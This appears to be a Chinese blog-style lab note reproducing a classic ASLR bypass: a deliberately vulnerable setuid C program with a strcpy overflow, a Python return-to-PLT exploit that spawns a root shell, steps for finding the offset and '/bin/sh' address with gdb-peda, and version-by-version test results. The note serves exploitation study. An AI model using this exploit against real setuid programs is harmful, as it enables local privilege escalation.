尝试复现Bypassing ASLR – Part I中的实验,在Kali x64和Ubuntu 16.04.2 x64上均失败,在nebula live CD(Ubuntu 11.10 x86)上完全成功(连偏移地址都完全一致,代码直接复制使用)。作者使用的是Ubuntu 12.04 x86环境,因此符合预期。
脆弱代码:
#include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
脆弱代码中,shell()
存在的意义在于将带有system
和exit
函数的动态库加载进整体程序中,使得可以在溢出时指向他们。
编译:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
攻击代码:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0x8048380 #from 'system@plt' in x86, this offset is static
exit = 0x80483a0 #from 'exit@plt'
system_arg = 0x80485b5 #Obtained from hexdump output of executable 'vuln'
#endianess convertion
def conv(num):
return struct.pack("<I",num)
# Junk + system + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])
攻击代码有两个点作者没有讲清,一个是system_arg
怎么得来,一个是"A"*272
这个偏移如何得到。
需要一个工具,gdb插件peda。作为为二进制渗透优化过的工具,许多功能都很称手。
SYSTEM_ARG的计算
system_arg
是在程序中寻找"/bin/sh"的字节,使得在调用system
之后可以顺利的拉起shell终端。在peda中使用find "/bin/sh"
就可以看到当前内存中所有"/bin/sh"字符存在的位置。
作者说可以用hexdump
,于是试了一下,的确可以,要把字符换成ASCII码再小端排列。
填充偏移的计算
对于缓冲区填充的偏移的计算。使用pattern.py
(语法稍有不同),或在peda-gdb环境中
gdb-peda$ pattern create 300 //生成300字节长度的填充
gdb-peda$ r 'xxxxxxxxx' //将填充作为参数传入脆弱函数
gdb-peda$ patts
就可以得到EIP/RIP中的填充偏移,也就是填充所需要的长度。
所有与原文一字不差的实验,只在nebula,即Ubuntu 11.10 x86(内核3.0.0-12)且gcc版本4.6.1(glibc for Linux 2.6.15)的系统上得到了完美验证。在其他版本或多或少有些问题:
- Ubuntu 16.04.4 x86,内核4.4.0-116 x86,gcc版本5.4.0,glibc for Linux 2.6.32,程序可以找到稳定的PLT地址,但是始终无法找到正确的偏移。应该是编译器的修复。
-
Ubuntu 16.04.4 x86,内核4.4.0-116 x86,使用gcc 4.6.1 x86编译好的二进制,程序可以找到稳定的PLT地址,原破解依然有效,但始终无法提权到root。应该是内核级的修复。
- Ubuntu 16.04.2 x64,内核4.13.0-45 x64,gcc版本5.4.0 x64,程序可以找到稳定的PLT地址,但64位的破解需要ROP的办法用寄存器传参,不是将字符串"/bin/sh"写入栈里。
-
Ubuntu 16.04.2 x64,内核4.13.0-45 x64,使用gcc 4.6.1 x86编译好的二进制,程序可以找到稳定的PLT地址,原破解依然有效,但始终无法提权到root。应该是内核级的修复。
-
Kali x64,内核4.8.0,gcc版本6.3.0 x64,glibc for Linux 3.2.0,PLT地址是极短的只有最后三个数字的偏移,运行程序后,每一次运行,PLT地址都在以0x1000为单位随机跳转。
- Kali x64,内核4.8.0,使用gcc 4.6.1 x86编译好的二进制,原实验准确验证。
综上,要达成原文中的实验效果,需要:
- 较低的内核版本
- x86的系统
- 在较低版本的gcc上编译
究竟新版系统做了什么修改使得实验失败,还得慢慢研究。